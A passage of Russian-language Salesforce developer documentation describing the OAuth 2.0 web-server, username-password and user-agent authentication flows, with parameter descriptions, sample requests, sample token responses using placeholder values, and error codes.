каскадный код и параметр issued_at. Данный параметр позволяет проверить наличие или отсутствие изменений
в URL-адресе удостоверения, отправленного сервером.

• issued_at: время создания подписи.
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Ниже приведен пример ответа, если выбрано значение json.

{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448384422","instance_url":"https://na1.salesforce.com",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",
"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

Ниже приведен пример ответа, если выбрано значение xml.

<Oauth>
<access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB

aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
</access_token>
<token_type>Bearer
</token_type>
<scope>id api refresh_token
</scope>
<instance_url>https://na1.salesforce.com</instance_url>
<id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id>
<issued_at>1278448101416</issued_at>
<signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature>

</Oauth>

Ниже приведен пример ответа, если выбрано значение urlencoded.

access_token=00Dx0000000BV7z%21AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7TrqoDjoNIWQ2
ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
&token_type=Bearer&scope=id%20api%20refresh_token
&instance_url=https%3A%2F%2Fna1.salesforce.com
&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV7z%2F005x00000012Q9P
&issued_at=1278448101416
&signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

В случае возникновения ошибки на данном этапе, ответ будет содержать сообщение об ошибке с указанием следующих
параметров:

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_client_id: недействительный код клиента;

– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP POST;

– invalid_client_credentials: недействительный секрет клиента;

– invalid_request: неподдерживаемый тип секрета;

– invalid_grant: недействительный маркер доступа или обновления.

– invalid_grant: ограничение диапазона IP-адресов или недопустимое время входа в систему;

– inactive_user: неактивный пользователь;

– inactive_org: заблокированная, закрытая или временно недействующая организация;

– rate_limit_exceeded: превышение ограничения по количеству входов в систему;

– invalid_scope: недопустимая, неизвестная или поврежденная область;
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Ниже приведен пример ответа, содержащего сообщение об ошибке.

{"error":"invalid_client_credentials","error_description":"client secret invalid"}

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Процесс проверки подлинности веб-сервера OAuth 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Процесспроверкиподлинностивеб-сервераиспользуетсятемиприложениями, которые
размещены на защищенном сервере. Основная задача данного процесса заключается в
защите секрета пользователя на сервере. Во избежание перехвата кода авторизации,
рекомендуем также использовать запросы кода и значения верификатора в потоке.

Описание каждого этапа см. ниже.

1. Веб-сервер перенаправляет пользователя в систему Salesforce, чтобы проверить подлинность и авторизовать сервер
для доступа к данным от имени пользователя.

2. Как только пользователь подтверждает доступ, веб-сервер принимает обратный вызов с кодом авторизации.

3. Полученный код авторизации передается веб-сервером для получения ответа с маркером.

4. Послепроверки кода авторизации система Salesforce возвращает ответ смаркером. Вслучае отсутствия ошибок, ответ
с маркером содержит код доступа и дополнительную информацию.

5. После получения маркера веб-серверу предоставляется доступ к данным.

Полученный маркер доступа может использоваться веб-сервером для доступа к данным Salesforce от имени конечного
пользователя, а маркер обновления — для получения нового маркера доступа в случае его недействительности.

Перенаправление пользователя для авторизации доступа

Чтобы получить разрешение от пользователя на доступ к данным Salesforce от его имени, клиент перенаправляет
обозреватель пользователя на конечную точку авторизации с указанием следующих параметров:

• response_type: для данного процесса должно быть указано значение code;

• client_id: ключ пользователя из определения связанного приложения;

• scope: параметр scope позволяет точно определить область Salesforce, доступную клиентскому приложению.
Дополнительнуюинформациюодопустимыхпараметрах см. вразделе «Значенияпараметра Scope»на странице5798.
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• redirect_uri: URI, на который перенаправляется пользователь после утверждения. Значение данного параметра
должно полностью соответствовать значению поля «URL-адрес обратного вызова» определения связанного
приложения. В противном случае, утверждение не выполняется. Данное значение должно быть закодировано в
URL-адресе;

• state: любоесостояние, к которомудолженвернуться клиентпосле утверждения, вовремяобратноговызова. Данный
параметр является необязательным. Данное значение должно быть закодировано в URL-адресе;

• immediate: данный параметр определяет необходимость отображения запроса на вход в систему и утверждение.
Данныйпараметрявляетсянеобязательным. Возможныезначения: true  («истина») или false  («ложь»). Поумолчанию
выбрано значение false  («ложь»). Обратите внимание на перечисленные ниже примечания.

– Если выбрано значение true  («истина»), а пользователь выполнил вход в систему и утвердил client_id, то
система Salesforce пропускает этап утверждения.

– Если выбрано значение true  («истина»), а пользователь не выполнил вход в систему или не утвердил клиента,
тосистемаSalesforceнезамедлительнозавершаеттекущийпроцессс кодомошибки immediate_unsuccessful.

Прим.: Данный параметр недоступен для сообществ.

• code_challenge: данный параметр определяет хэш-значение SHA256 значения code_verifier в запросе на
маркер во избежаниепопытокперехвата кода авторизации. Значение должнобыть также зашифрованопосредством
кодировки base64url согласно правилам, перечисленным по следующему адресу:
https://tools.ietf.org/html/rfc4648#section-5. Данныйпараметрявляетсяобязательнымтолькопри
наличии параметра code_verifier в запросе на маркер.

– Если запрос на авторизацию содержит значение code_challenge, а запрос на маркер содержит значение
code_verifier, то система Salesforce сравнивает значения code_challenge и code_verifier. Если
значение code_challenge являетсянедопустимымилинесовпадающим, то системапрепятствуетвыполнению
входа и возвращает код ошибки invalid_request.

– Если запрос на авторизацию содержит значение code_challenge, а запрос на маркер не содержит значение
code_verifier, то система препятствует выполнению входа и возвращает код ошибки invalid_grant.

• display: данныйпараметризменяеттипотображениядлястраницвходав системуиавторизации. Данныйпараметр
является необязательным. Ниже перечислены значения, поддерживаемые системой Salesforce.

– page: отображение окна авторизации по ширине страницы. Данное значение выбрано по умолчанию, если не
указано иное.

– popup: компактное диалоговое окно, оптимизированное для всплывающих окон современных обозревателей.

– touch: диалоговое окно, оптимизированное для просмотра на современныхмобильных устройствах (например,
Android и iPhone).

– mobile: диалоговоеокно, оптимизированноедляпросмотранаменеемощныхсмартфонах (например, BlackBerry
OS 5).

• login_hint: данный параметр автоматически заполняет страницу входа действительным именем пользователя.
Например: login_hint=username@company.com. Приналичии активного сеанса пользователя в обозревателе
система пропускает параметр login_hint без прерывания активного сеанса.

• nonce: данный параметр является дополнительным при использовании области openid для получения маркера
кода пользователя. Значение возвращается в ответе и используется для обнаружения атак повтора.

• prompt: данныйпараметропределяет способ уведомленияпользователейонеобходимости выполненияповторной
проверки подлинности и повторного утверждения. Данный параметр является необязательным. Ниже перечислены
значения, поддерживаемые системой Salesforce.
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login: серверавторизации должен уведомлятьпользователейонеобходимостиповторнойпроверкиподлинности,
которая доступна только при условии повторного входа в систему.

–

– consent: сервер авторизации должен уведомлять пользователей о необходимости повторного утверждения,
которое должно быть выполнено до возврата сведений клиенту.

Данный параметр допускает одновременное использование обоих значений, разделенных посредством пробела. В
этомслучаепользователюпридетсявыполнитьповторныйвходвсистемуипройтиповторнуюпроцедуруавторизации.
Например:

?prompt=login%20consent

Чтобы начать процесс, веб-сервер генерирует ссылку или отправляет в обозреватель перенаправление HTTP. Ниже
приведен пример запроса, отправляемого клиентом веб-сервера на конечную точку авторизации.

https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

Еслипользовательвыполнилвходв систему, то Salesforceперенаправляет егона страницуутверждения. Еслипользователь
не выполнил вход в систему, то ему сначала предлагается выполнить вход, после чего он перенаправляется на страницу
утверждения, где ему предоставляется доступ к приложению. Пользователю, подтвердившему право на доступ хотя бы
один раз, не придется подтверждать это право повторно.

Веб-сервер принимает обратный вызов

Пользователь, подтвердившийдоступ, перенаправляетсяна URI, указанныйвпараметре redirect_uri со следующими
значениями в строке запроса:

• code: код авторизации, который должен использоваться для получения маркеров доступа и обновления;

• state: состояние, переданноена этап утверждения. Данныйпараметр отсутствует в том случае, еслиисходная строка
запроса не содержит параметра state.

Пользователю, подтвердившему право на доступ хотя бы один раз, не придется подтверждать это право повторно.

Ниже приведен пример запроса, полученного параметром redirect_uri.

https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

Пользователь, отменивший доступ к приложению, перенаправляется на параметр redirect_uri со следующими
значениями в строке запроса:

• error: значение — access_denied.

• state: состояние, переданноена этап утверждения. Данныйпараметр отсутствует в том случае, еслиисходная строка
запроса не содержит параметра state.

Например:

https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

Привозникновенииошибкинаданномэтапеответ содержит сообщениеобошибке с указаниемследующихпараметров:

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_client_id: недействительный код клиента;
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– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP GET;

– invalid_request: недопустимое значение code_challenge  (указывает на недопустимость значения
code_challenge, например, при использовании кодировки, отличной от base64url);

– invalid_request: непредвиденное значение code_challenge  (указывает на непредвиденность параметра
code_challenge, который не поддерживается процессом);

– access_denied: конечный пользователь отменил авторизацию;

– redirect_uri_missing: отсутствует параметр redirect_uri;

– redirect_uri_mismatch: параметр redirect_uri не соответствует определению связанного приложения;

– immediate_unsuccessful: ошибка в параметре immediate;

– invalid_scope: недопустимая, неизвестная или поврежденная область;

• state: состояние, переданноена этап утверждения. Данныйпараметр отсутствует в том случае, еслиисходная строка
запроса не содержит параметра state.

Веб-сервер заменяет код проверки маркером доступа

Полученный код авторизации заменяется веб-сервером на маркер доступа.

Клиент должен отправить запрос POST прямо на конечную точку маркера. В запросе должны быть указаны следующие
параметры:

• grant_type: для данного процесса должно быть указано значение authorization_code;

• client_id: ключ пользователя из определения связанного приложения;

• client_secret: секрет пользователя из определения связанного приложения;

• client_assertion: параметр client_secret может быть заменен параметрами client_assertion и
client_assertion_type. Приотсутствиипараметра client_secret системаSalesforceавтоматическипроверяет
параметры client_assertion и client_assertion_type.

Параметр client_assertion долженсодержатьтипичныймаркерносителя JWT, подписанныйсекретнымключом,
которыйсвязанс загруженнымсертификатомпользователя OAuth. Внастоящеевремяподдерживаетсятолькоалгоритм
RS256. Дополнительную информацию об использовании параметра client_assertion см. в методе проверки
подлинности клиента private_key_jwt, описанном в спецификациях OpenID Connect.

• client_assertion_type: значение данного параметра указывается только при использовании параметра
client_assertion.

Параметр client_assertion_type должен содержать значение
urn:ietf:params:oauth:client-assertion-type:jwt-bearer.

• redirect_uri: URI, на который перенаправляется пользователь после утверждения. Значение данного параметра
должно полностью соответствовать значению поля «URL-адрес обратного вызова» определения связанного
приложения. Кроме того, данное значение должно отправляться при исходной переадресации. См. подраздел
«Перенаправление пользователя для авторизации доступа» на странице 5784;

• code: код авторизации, полученный от обратного вызова (после утверждения);

• code_verifier: данный параметр определяет 128 байт случайных данных с достаточно высокой энтропией для
усложнения процесса подбора значения во избежание попыток перехвата кода авторизации. Значение должно быть
также зашифровано посредством кодировки base64url согласно правилам, перечисленным по следующему адресу:
https://tools.ietf.org/html/rfc4648#section-5. Данныйпараметрявляетсяобязательнымтолькопри
наличии параметра code_challenge в запросе на авторизацию.
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– Если запрос на маркер содержит значение code_verifier, а запрос на авторизацию содержит значение
code_challenge, то система Salesforce сравнивает значения code_verifier и code_challenge. Если
значение code_verifier является недопустимымилинесовпадающим, то система препятствует выполнению
входа и возвращает код ошибки invalid_grant.

– Если запрос на маркер содержит значение code_verifier, а запрос на авторизацию не содержит значение
code_challenge, то система препятствует выполнению входа и возвращает код ошибки invalid_grant.

• format: ожидаемыйформат возврата. Данныйпараметрявляетсянеобязательным. Значениепоумолчанию — json.
Ниже указаны возможные значения.

– urlencoded

– json

– xml

Ниже приведен пример внеполосного запроса POST.

POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ
VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI
NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs
cA9GE&client_secret=1955279925675241571&
redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

Помимо параметра format, возвращаемыйформат также может быть задан в заголовке Accept с помощью одного из
следующих значений:

• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

Обратите внимание на перечисленные ниже примечания.

• Заголовки Accept могут содержать специальные символы. Допускаемые символы */* возвращают значение JSON.

• Список значений также принимается и подлежит проверке слева направо. Например: Список значений
application/xml,application/json,application/html,*/* возвращает значение XML.

• Параметр format имеет приоритет над заголовком запроса Accept.

Salesforce отправляет ответ с маркером доступа

ПослепроверкизапросасистемаSalesforceотправляетклиентуответ. Нижеперечисленыпараметры, которыеотображаются
в теле ответа.

• access_token: код сеанса Salesforce, который может использоваться в Web Services API.

• token_type: значение Bearer для всех ответов, содержащих маркер доступа.

• id_token: значение Salesforce, соответствующее спецификациям OpenID Connect. Данное значение возвращается
только при условии, что параметр scope содержит значение openid.

• refresh_token: маркер, которыйможетиспользоваться вбудущемдляполученияновогомаркерадоступа (сеансов).
Данное значение является секретом, поэтому должно рассматриваться как пароль пользователя и быть
надежно защищено. Данный параметр возвращается только в том случае, если связанному приложению задается
параметр scope как минимум со значением refresh_token.
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• instance_url: URL-адрес, определяющий экземпляр организации пользователя. В примере ниже используется
экземпляр na1: https://na1.salesforce.com.

• id: URL-адрес удостоверения, используемый для идентификации пользователя и отправки запросов на получение
дополнительной информации об этом пользователе. См. раздел «URL-адреса удостоверений» на странице 5802.

• sfdc_community_url: URL-адрес сообщества, при условии, что пользователь является участником сообщества
Salesforce.

• sfdc_community_id: код сообщества, при условии, что пользователь является участником сообщества Salesforce.

• signature: подпись HMAC-SHA256, закодированнаяв Base64 идополненнаясекретнымключомклиента, содержащим
каскадный код и параметр issued_at. Данный параметр позволяет проверить наличие или отсутствие изменений
в URL-адресе удостоверения, отправленного сервером.

• issued_at: время создания подписи.

Ниже приведен пример ответа, отправленного системой Salesforce.

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9
Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url":
"https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk
4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R
NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

В случае возникновения ошибки на данном этапе, ответ будет содержать сообщение об ошибке с указанием следующих
параметров:

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_client_id: недействительный код клиента;

– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP POST;

– invalid_client_credentials: недействительный секрет клиента;

– invalid_grant: недействительный код авторизации;

– invalid_grant: ограничение диапазона IP-адресов или недопустимое время входа в систему;

– invalid_grant: недопустимое значение code_verifier  (указывает на недопустимость значения
code_verifier, например, при использовании кодировки, отличной от base64url, или верификатора для
данного значения code_challenge);

– invalid_grant: непредвиденное значение code_verifier  (указывает на отсутствие параметра
code_challenge и, соответственно, непредвиденность (но наличие) параметра code_verifier);

– redirect_uri_mismatch: отсутствует параметр redirect_uri;

– redirect_uri_mismatch: параметр redirect_uri не соответствует определению связанного приложения;

– inactive_user: неактивный статус пользователя был задан администратором;

– inactive_org: заблокированная, закрытая или временно недействующая организация;
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– rate_limit_exceeded: превышение ограничения по количеству попыток входа в систему.

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Процесс проверки подлинности имени пользователя и пароля OAuth 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Процесс проверки подлинности имени пользователя и пароля может использоваться
в том случае, если клиенту уже доступны регистрационные данные пользователя.

Внимание: Данныйпроцесспроверкиподлинности OAuth подразумеваетвзаимную
передачу регистрационных данных пользователя. Рекомендуем использовать
данный процесс только при необходимости. Данный процесс не поддерживает
создание маркеров обновления.

Ниже описаны этапы процесса проверки подлинности имени пользователя и пароля.
Более подробное описание каждого этапа см. ниже.

1. Клиент использует имя и пароль конечного пользователя для отправки запроса на
получение маркера доступа (кода сеанса).

2. После проверки запроса система Salesforce отправляет клиенту ответ.

Полученный маркер доступа может использоваться для доступа к данным Salesforce от
имени конечного пользователя.

Запрос на получение маркера доступа

Клиентможетиспользоватьимяипарольконечногопользователядляотправки запроса
на получение маркера доступа, который может использоваться в качестве кода сеанса.
Данный процесс не поддерживает добавление параметров scope в запрос, а маркер доступа, возвращаемый данным
процессом, не извлекает параметры scope.

Клиент должен отправить внеполосный запрос POST на конечную точку маркера. В запросе должны быть указаны
следующие параметры:

• grant_type: для данного процесса должно быть указано значение password;

• client_id: ключ пользователя из определения связанного приложения;

• client_secret: секрет пользователя из определения связанного приложения;

• username: имя конечного пользователя;

• password: пароль конечного пользователя.

Прим.: Еслипроцесспроверкиподлинностиименипользователяипароляиспользуется вместе синтерфейсом
API, то область ввода регистрационных данных должна быть дополнена полем для ввода маркера безопасности.
Маркербезопасности — это автоматически генерируемыйключ, которыйдолженбытьдобавленв конецпароля
привходе в систему Salesforceизнедовереннойсети. Парольимаркердолжныбыть связаныприпередаче запроса
на проверку подлинности.

• format: ожидаемыйформат возврата. Данныйпараметрявляетсянеобязательным. Значениепоумолчанию — json.
Ниже указаны возможные значения.

– urlencoded

– json

5790

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



– xml

Ниже приведен пример внеполосного запроса POST.

grant_type=password&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn
FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword

Отправка ответа

ПослепроверкизапросасистемаSalesforceотправляетклиентуответ. Нижеперечисленыпараметры, которыеотображаются
в теле ответа.

• access_token: код сеанса Salesforce, который может использоваться в Web Services API.

• token_type: значение Bearer для всех ответов, содержащих маркер доступа.

• instance_url: URL-адрес, определяющий экземпляр организации пользователя. В примере ниже используется
экземпляр na1: https://na1.salesforce.com.

• id: URL-адрес удостоверения, используемый для идентификации пользователя и отправки запросов на получение
дополнительной информации об этом пользователе. См. раздел «URL-адреса удостоверений» на странице 5802.

• signature: подпись HMAC-SHA256, закодированнаяв Base64 идополненнаясекретнымключомклиента, содержащим
каскадный код и параметр issued_at. Данный параметр позволяет проверить наличие или отсутствие изменений
в URL-адресе удостоверения, отправленного сервером.

• issued_at: время создания подписи.

Прим.: Отправляемый ответ не содержит маркера обновления.

См. пример ответа ниже.

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448832702","instance_url":"https://na1.salesforce.com",
"signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token":
"00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1
9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs","token_type":"Bearer"}

В случае возникновения ошибки на данном этапе, ответ будет содержать сообщение об ошибке с указанием следующих
параметров:

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_client_id: недействительный код клиента;

– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP POST;

– invalid_request: неподдерживаемый параметр scope;

– invalid_client_credentials: недействительный секрет клиента;

– invalid_grant: ошибка проверки подлинности (например, пользователь не существует или недопустимый
пароль);

– invalid_grant: ограничение диапазона IP-адресов или недопустимое время входа в систему;

– inactive_user: неактивный пользователь;
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– inactive_org: заблокированная, закрытая или временно недействующая организация;

– rate_limit_exceeded: превышение ограничения по количеству входов в систему;

Ниже приведен пример возвращаемой ошибки.

{"error":"invalid_client_credentials","error_description":"client secret invalid"}

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Процесс проверки подлинности пользователя-агента OAuth 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Процесс проверки подлинности пользователя-агента используется клиентскими
приложениями (клиентами), установленными на устройство пользователя. Данный
процессможетбытьреализованвобозревателе спомощьюязыка сценариев (например,
JavaScript), либо в приложении для рабочего стола или мобильного устройства.
Конфиденциальностьсекретаклиентане гарантируется.Проверкаподлинностиклиента
основана на политике единого домена пользователя-агента.

В отличие от других процессов проверки подлинности, клиентское приложение
принимает маркер доступа в виде перенаправления HTTP. Клиентское приложение
отправляет запрос на сервер авторизации, чтобы перенаправить пользователя-агента
на другой веб-сервер или локальный ресурс, доступный пользователю-агенту, который
позволяет извлечь маркер доступа из ответа и передать его клиентскому приложению.
Обратите внимание, что ответ с маркером отображается в виде хэш-фрагмента (#)
URL-адреса. Такойспособпозволяетобеспечитьбезопасностьипредотвратитьпередачу
маркера на сервер и любые другие серверы в заголовках ссылок.

Процесс проверкиподлинностипользователя-агента не использует секрет клиента, так
как выполняемые файлы клиентского приложения хранятся на компьютере или
устройствеконечногопользователя, поэтомусекретможетбытьдоступенпосторонним
лицам.

Внимание: Учитывая тот факт, что маркер доступа зашифрован в URI перенаправления, он может быть доступен
конечному пользователю и другим приложениям, установленным на компьютере или устройстве.

Чтобы удалить обратный вызов из журнала обозревателя в том случае, если проверка подлинности выполняется
посредством JavaScript, рекомендуем вызвать window.location.replace();.

Описание каждого этапа см. ниже.

1. Клиентское приложение направляет пользователя в систему Salesforce для проверки подлинности и авторизации
приложения.

2. Пользователь должен всегда предоставлять доступ для данного процесса проверки подлинности. Как только
пользователь подтверждает доступ, система Salesforce отправляет приложению обратный вызов.

Полученный маркер доступа может использоваться клиентом для доступа к данным Salesforce от имени конечного
пользователя, а маркер обновления — для получения нового маркера доступа в случае его недействительности.

Процесс проверки подлинности пользователя-агента не поддерживает внеполосные запросы POST.
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Направление пользователя в Salesforce для получения маркера доступа

Чтобы получить разрешение от пользователя на доступ к данным Salesforce от его имени, клиент перенаправляет
пользователя на конечную точку авторизации с указанием следующих параметров:

• response_type: данному параметру может быть задано значение token или token id_token со значением
openid параметра scope ипараметром nonce. Привыборезначения token id_token системаSalesforceвозвращает
ответ, содержащиймаркер кода. Дополнительнуюинформацию см. в разделе «Получение и проверка маркера кода»
на странице 5801.

• client_id: ключ пользователя из определения связанного приложения;

• redirect_uri: URI, на который перенаправляется пользователь после утверждения. Значение данного параметра
должно полностью соответствовать значению поля «URL-адрес обратного вызова» определения связанного
приложения. Данное значение должно быть закодировано в URL-адресе;

• state: любоесостояние, к которомудолженвернуться клиентпосле утверждения, вовремяобратноговызова. Данный
параметр является необязательным.

• scope: параметр scope позволяет точно определить область Salesforce, доступную клиентскому приложению.
Дополнительнуюинформациюодопустимыхпараметрах см. вразделе «Значенияпараметра Scope»на странице5798.

• display: данный параметр изменяет тип отображения для страницы входа в систему. Данный параметр является
необязательным. Ниже перечислены значения, поддерживаемые системой Salesforce.

– page: отображение окна авторизации по ширине страницы. Данное значение выбрано по умолчанию, если не
указано иное.

– popup: компактное диалоговое окно, оптимизированное для всплывающих окон современных обозревателей.

– touch: диалоговое окно, оптимизированное для просмотра на современныхмобильных устройствах (например,
Android и iPhone).

• login_hint: данныйпараметравтоматическизаполняетстраницувходауказаннымименемпользователя. Например:
login_hint=username@company.com. При наличии активного сеанса пользователя в обозревателе система
пропускает параметр login_hint без прерывания активного сеанса.

• nonce: данный параметр является обязательным при использовании области openid для получения маркера кода
пользователя. Значение возвращается в ответе и используется для обнаружения атак повтора.

• prompt: данныйпараметропределяет способ уведомленияпользователейонеобходимости выполненияповторной
проверки подлинности и повторного утверждения. Данный параметр является необязательным. Ниже перечислены
значения, поддерживаемые системой Salesforce.

– login: серверавторизации должен уведомлятьпользователейонеобходимостиповторнойпроверкиподлинности,
которая доступна только при условии повторного входа в систему.

– consent: сервер авторизации должен уведомлять пользователей о необходимости повторного утверждения,
которое должно быть выполнено до возврата сведений клиенту.

Данный параметр допускает одновременное использование обоих значений, разделенных посредством пробела. В
этомслучаепользователюпридетсявыполнитьповторныйвходвсистемуипройтиповторнуюпроцедуруавторизации.
Например:

?prompt=login%20consent

Ниже приведен пример URL-адреса, на который перенаправляется пользователь.

https://login.salesforce.com/services/oauth2/authorize?response_type=token&
client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD
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ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp&
state=mystate

Подтверждение доступа и отправка обратного вызова системой Salesforce

Пользователю, который еще не выполнил вход в систему Salesforce, предлагается выполнить вход. Salesforce отображает
страницу подтверждения с просьбой подтвердить доступ к приложению. Пользователь, подтвердивший доступ,
перенаправляется на URI, указанный в параметре redirect_uri  (со следующими значениями после символа «#»).
Данная строка не является строкой запроса.

• access_token: код сеанса Salesforce, который может использоваться в Web Services API.

• token_type: значение Bearer для всех ответов, содержащих маркер доступа.

• id_token: значение Salesforce, соответствующее спецификациям OpenID Connect. Данное значение возвращается
только при условии, что параметру response_type задано значение token id_token со значением openid
параметра scope и параметром nonce.

• refresh_token: маркер, которыйможетиспользоваться вбудущемдляполученияновогомаркерадоступа (сеансов).
Данное значение является секретом, поэтому должно рассматриваться как пароль пользователя и быть
надежно защищено.

Прим.: Маркеробновлениядляпроцессапроверкиподлинностипользователя-агентаможетбыть создантолько
при отправке запроса scope=refresh_token и выполнении одного из указанных ниже условий.

– URL-адрес перенаправления использует настраиваемый протокол.

– URL-адресперенаправления — https://login.salesforce.com/services/oauth2/success или
https://test.salesforce.com/services/oauth2/success при использовании безопасной
среды.

• instance_url: URL-адрес, определяющий экземпляр организации пользователя. В примере ниже используется
экземпляр na1: https://na1.salesforce.com.

• id: URL-адрес удостоверения, используемый для идентификации пользователя и отправки запросов на получение
дополнительной информации об этом пользователе. См. раздел «URL-адреса удостоверений» на странице 5802.

• sfdc_community_url: URL-адрес сообщества, при условии, что пользователь является участником сообщества
Salesforce.

• sfdc_community_id: код сообщества, при условии, что пользователь является участником сообщества Salesforce.

• signature: подпись HMAC-SHA256, закодированнаяв Base64 идополненнаясекретнымключомклиента, содержащим
каскадный код и параметр issued_at. Данный параметр позволяет проверить наличие или отсутствие изменений
в URL-адресе удостоверения, отправленного сервером.

• issued_at: время создания подписи.

Ниже приведен пример обратного вызова с сервера. Обратите внимание, что ответ расположен после символа «#»,
подобно параметрам запроса HTTP.

https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21A
R8AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbbe
rKGk8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKk
DpB4xReb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&instance_url=https%3A%2F%
2Fna1.salesforce.com&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx000
0000BV7z%2F005x00000012Q9P&issued_at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozqhe43KRc1i9LmZHR70%3D&scope=id+api+refresh_token&token_type=
Bearer&state=mystate
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Если пользователь отменяет доступ или на данном этапе происходит ошибка, то пользователь перенаправляется на
redirect_uri с кодом ошибки и описанием ошибки в URI (после символа «#»). Данная строка не является строкой
запроса.

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_client_id: недействительный код клиента;

– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP GET;

– invalid_request: неподдерживаемый внеполосной запрос;

– access_denied: конечный пользователь отменил авторизацию;

– redirect_uri_missing: отсутствует параметр redirect_uri;

– redirect_uri_mismatch: параметр redirect_uri не соответствует объекту связанного приложения;

– immediate_unsuccessful: ошибка в параметре immediate;

– invalid_grant: недействительные регистрационные данные пользователя;

– invalid_grant: ограничение диапазона IP-адресов или недопустимое время входа в систему;

– inactive_user: неактивный пользователь;

